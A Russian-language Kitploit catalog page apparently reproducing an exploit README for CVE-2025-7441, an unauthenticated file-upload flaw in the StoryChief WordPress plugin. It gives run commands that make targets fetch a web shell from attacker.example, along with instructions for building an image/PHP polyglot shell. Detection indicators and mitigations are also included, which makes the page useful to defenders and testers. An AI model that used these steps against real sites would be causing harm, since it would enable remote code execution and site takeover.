Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - Произвольная загрузка файлов без аутентификации | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2025-7441
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubnxploited/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - Произвольная загрузка файлов без аутентификации

Репозиторий
10 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-7441

StoryChief <= 1.0.42 — Неаутентифицированная произвольная загрузка файлов

🚨 StoryChief <= 1.0.42 — Неаутентифицированная произвольная загрузка файлов (CVE-2025-7441)

ℹ️ Краткое описание

StoryChief (плагин WordPress) версий до 1.0.42 включительно содержит критическую уязвимость неаутентифицированной произвольной загрузки файлов через REST-эндпоинт /wp-json/storychief/webhook. Злоумышленник может заставить плагин загрузить и сохранить контролируемый атакующим удалённый ресурс (например, веб-шелл) в каталог загрузок сайта, что во многих стандартных установках WordPress позволяет выполнить произвольный код.

  • CVE: CVE-2025-7441
  • CVSS: 9.8 (Критический)

💥 Воздействие

  • Удалённая неаутентифицированная загрузка файла в wp-content/uploads/YYYY/MM/.
  • Возможность удалённого выполнения кода, если загруженный файл является исполняемым (например, PHP).
  • Полная компрометация сайта возможна, когда WordPress настроен выполнять загруженные PHP-файлы в корне документов.

🧩 Первопричина уязвимости

Плагин принимает входящую JSON-нагрузку (событие публикации), содержащую поле featured_image -> data -> sizes -> full, указывающее на произвольный URL. StoryChief не выполняет достаточную проверку типа/содержимого файла и не ограничивает источник URL, что позволяет плагину загружать удалённый ресурс и сохранять его в каталоге загрузок сайта. Проверки недостаточно для предотвращения сохранения файлов, содержащих исполняемый код.


🛠️ Эксплойт-скрипт — что он делает (соответствие уязвимости)

В этом разделе объясняется эксплойт-скрипт (предоставляется отдельно) на высоком уровне и каждое важное действие сопоставляется с базовой уязвимостью.

  • Разбор аргументов командной строки — целевой URL (-u/--url), URL удалённой оболочки (-shell), опциональный HMAC-ключ, заголовки, флаги прокси/тайм-аута/повторов, опции отладки и режим только печати.
  • Нормализация цели — добавляет /wp-json/storychief/webhook, если указан корень сайта.
  • Проверка URL оболочки — проверяет доступность удалённого URL (HEAD/GET или curl).
  • Извлечение имени файла — использует базовое имя удалённого URL для определения конечного имени файла в загрузках.
  • Формирование нагрузки — помещает управляемый атакующим URL в data.featured_image.data.sizes.full, чтобы заставить плагин загрузить и сохранить файл.
  • Подпись HMAC (опционально) — вычисляет meta.mac (HMAC-SHA256) с использованием опционального hex-ключа; некоторые серверы могут игнорировать или требовать это.
  • Доставка — использует requests с повторами/backoff или резервный curl, поддерживает пользовательские заголовки, прокси и --no-verify.
  • Обработка ответа — анализирует JSON-ответы на наличие ключей permalink/id для определения успеха; в противном случае сообщает о неудаче.
  • Вывод — выводит ожидаемый путь загрузки: wp-content/uploads/YYYY/MM/ в случае успеха.

🖼️ Требования к shell-файлу (критически важно)

При использовании удалённого .php-файла (например: https://attacker.example/shell.php) файл должен содержать корректный заголовок изображения (магические байты), чтобы плагин или код обработки изображений считал/принял его как изображение. Ключевые моменты:

  • Используйте подход polyglot: файл должен начинаться с корректных магических байтов изображения (например, JPEG, PNG или GIF), чтобы простые проверки и обработчики изображений принимали его, но также содержать PHP-нагрузку в секции, которая сохраняется на диске без изменений.
  • Распространённые магические байты изображений:
    • JPEG: 0xFF 0xD8 0xFF
    • PNG: 0x89 0x50 0x4E 0x47
    • GIF: ASCII "GIF89a" или "GIF87a"
  • Не полагайтесь только на имя файла/расширение. Многие плагины проверяют содержимое файлов или используют библиотеки (GD, ImageMagick), которые проверяют целостность изображения.
  • Зависит от окружения: некоторые серверы дополнительно проверяют или перекодируют изображения, что может удалить внедрённый код. Сначала тестируйте в авторизованной лаборатории.
  • Этическое напоминание: НЕ публикуйте здесь рабочий код веб-шеллов. Создавайте и тестируйте такие файлы только в авторизованных средах.

▶️ Как запустить (примеры)

Замените заполнители на авторизованные цели. Во всех примерах ниже используется удалённый URL .php-оболочки.

  • Базовый пример:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
  • С явным путём webhook и отладкой:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
  • Использовать curl вместо requests:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
  • Только вывести нагрузку (не отправлять):
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only

Важные флаги:

  • --no-verify: пропустить проверку TLS (использовать с осторожностью).
  • --proxy: направлять запросы через прокси.
  • --header "Key: Value": добавлять пользовательские заголовки.

📤 Ожидаемые результаты

  • Успешный запуск:
    • Uploaded: wp-content/uploads/2025/10/shell.php
  • Примеры отладочного вывода:
    • [DEBUG] shell HEAD status: 200
    • [DEBUG] post status: 200
    • [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  • Сообщения об ошибках:
    • "[-] Error: shell URL is not reachable (not HTTP 200)"
    • "[-] Error: request failed"
    • "[-] Error: upload failed or endpoint returned non-JSON/HTML"

🔎 Обнаружение и индикаторы компрометации (IoC)

  • Неожиданные POST-запросы к /wp-json/storychief/webhook с неизвестных IP-адресов.
  • Новые файлы в wp-content/uploads/// с расширениями PHP или изображений, содержащие встроенный код.
  • Логи веб-сервера, показывающие исходящие GET-запросы к контролируемым атакующим доменам, за которыми следует доступ к загруженным файлам.
  • Подозрительные файлы изображений с добавленным или встроенным содержимым, не являющимся изображением.

🛡️ Смягчение и устранение

Краткосрочные меры:

  • Немедленно обновите StoryChief до исправленной версии, когда она станет доступна.
  • Заблокируйте или ограничьте /wp-json/storychief/webhook с помощью WAF или серверных правил.
  • Ограничьте исходящие запросы сервера или доступ к недоверенным доменам.

Рекомендации разработчикам:

  • Проверяйте типы и содержимое файлов после любого удалённого запроса; проверяйте изображения с помощью безопасных парсеров и отклоняйте некорректные файлы.
  • Требуйте аутентификацию для вебхуков, вызывающих загрузку или создание файлов на стороне сервера.
  • Убедитесь, что проверка HMAC/подписи реализована и применяется.
  • Храните загруженный контент вне корня веб-сервера или отключите выполнение загруженных файлов в wp-content/uploads (правила веб-сервера).

⚠️ Ограничения и предостережения

  • Успех эксплуатации зависит от конфигурации сервера, библиотек обработки изображений и политик выполнения веб-сервера.
  • Серверы, которые повторно обрабатывают или перекодируют изображения, могут удалять внедрённые нагрузки.
  • Если плагин проверяет подписи, передача неверного mac может привести к отклонению.

🤝 Ответственное использование

Этот документ предназначен для защитников и авторизованных тестировщиков. НЕ используйте эти методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Несанкционированная эксплуатация незаконна и неэтична.

Если вы сообщаете о проблеме вендору или владельцу сайта, включите детали воспроизведения, безопасные шаги по устранению и предлагаемые исправления.


📚 Ссылки и авторы

  • Отчёт и эксплойт-скрипт: Nxploited (Khaled Alenazi) — имя файла скрипта: CVE-2025-7441.py (предоставляется отдельно)
  • CVE: CVE-2025-7441
  • CVSS: 9.8
Скачать инструмент